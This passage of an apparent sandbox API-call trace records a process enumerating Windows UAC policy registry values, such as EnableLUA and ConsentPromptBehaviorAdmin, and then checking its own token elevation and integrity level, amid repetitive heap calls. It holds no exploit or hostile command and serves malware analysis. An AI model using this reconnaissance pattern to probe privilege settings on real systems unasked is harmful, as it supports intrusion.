(HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffb878 [0253.760] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc5a0 [0253.760] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.760] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffb888 [0253.760] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc438 [0253.760] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.760] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffb898 [0253.760] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc558 [0253.760] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.760] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffb930 [0253.760] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc510 [0253.760] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.760] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x20) returned 0xffb940 [0253.760] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb860) returned 1 [0253.760] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffb860 [0253.760] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc4c8 [0253.760] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.760] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffb968 [0253.760] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc480 [0253.760] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.760] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffb978 [0253.760] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc3f0 [0253.760] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.760] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffb988 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc3a8 [0253.761] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x30) returned 0xffb998 [0253.761] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb940) returned 1 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffb940 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc360 [0253.761] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffb950 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc318 [0253.761] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffb9d0 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc2d0 [0253.761] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffb9e0 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.761] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc240 [0253.761] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb998) returned 1 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffb998 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1f8 [0253.761] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffb9a8 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1b0 [0253.761] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd1e8 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc168 [0253.761] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd1f8 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.761] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.761] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.761] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.762] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc5a0) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb878) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc438) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb888) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc558) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb898) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc510) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb930) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc4c8) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb860) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc480) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb968) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc3f0) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb978) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc3a8) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb988) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc360) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb940) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc318) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb950) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc2d0) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb9d0) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc288) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb9e0) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1f8) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb998) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1b0) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb9a8) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc168) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd1e8) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd1f8) returned 1 [0253.762] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc240) returned 1 [0253.762] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc240 [0253.763] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0253.763] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0xffc240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0xffc240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0253.763] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc240) returned 1 [0253.763] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.763] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x10) returned 0xffd5e8 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd1f8 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.763] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd1e8 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc240 [0253.763] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd208 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.763] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd218 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc168 [0253.763] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x20) returned 0xffb860 [0253.763] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd5e8) returned 1 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd228 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1b0 [0253.763] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd238 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc1f8 [0253.763] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd248 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc288 [0253.763] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.763] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd258 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc2d0 [0253.764] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x30) returned 0xffb930 [0253.764] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb860) returned 1 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd268 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc318 [0253.764] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd278 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc360 [0253.764] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd288 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc3a8 [0253.764] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd298 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc3f0 [0253.764] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc480 [0253.764] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb930) returned 1 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2a8 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc4c8 [0253.764] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2b8 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc510 [0253.764] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2c8 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc558 [0253.764] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x8) returned 0xffd2d8 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc438 [0253.764] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.764] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc5a0 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc5a0) returned 1 [0253.765] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc5a0 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc5a0) returned 1 [0253.765] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc5a0 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc5a0) returned 1 [0253.765] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc5a0 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc5a0) returned 1 [0253.765] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc5a0 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc5a0) returned 1 [0253.765] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc5a0 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc5a0) returned 1 [0253.765] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc5a0 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc5a0) returned 1 [0253.765] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc5a0 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc5a0) returned 1 [0253.765] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc5a0 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd1f8) returned 1 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc240) returned 1 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd1e8) returned 1 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd208) returned 1 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc168) returned 1 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffd218) returned 1 [0253.765] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc1b0) returned 1 [0253.765] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0253.765] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0xffc480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0xffc480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0253.765] RegCloseKey (hKey=0x38) returned 0x0 [0253.765] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x38) returned 1 [0253.765] GetTokenInformation (in: TokenHandle=0x38, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0253.765] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0xc4) returned 1 [0253.766] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0253.766] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc5a0 [0253.766] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0xffc5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0xffc5a0, ReturnLength=0x18fbfc) returned 1 [0253.766] GetSidSubAuthorityCount (pSid=0xffc5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xffc5a9 [0253.766] GetSidSubAuthority (pSid=0xffc5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xffc5b0 [0253.766] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc5a0) returned 1 [0253.766] NtClose 